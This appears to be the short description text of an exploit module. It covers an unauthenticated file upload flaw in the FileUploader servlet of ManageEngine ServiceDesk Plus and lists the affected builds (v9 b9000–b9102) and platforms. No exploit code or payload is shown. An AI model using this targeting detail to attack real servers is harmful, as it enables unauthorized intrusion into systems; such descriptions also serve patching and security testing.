This module exploits a file upload vulnerability in ManageEngine ServiceDesk Plus.  
The vulnerability exists in the FileUploader servlet which accepts unauthenticated  
file uploads. This module has been tested successfully on versions v9 b9000 - b9102  
in Windows and Linux. The MSP versions do not expose the vulnerable servlet.
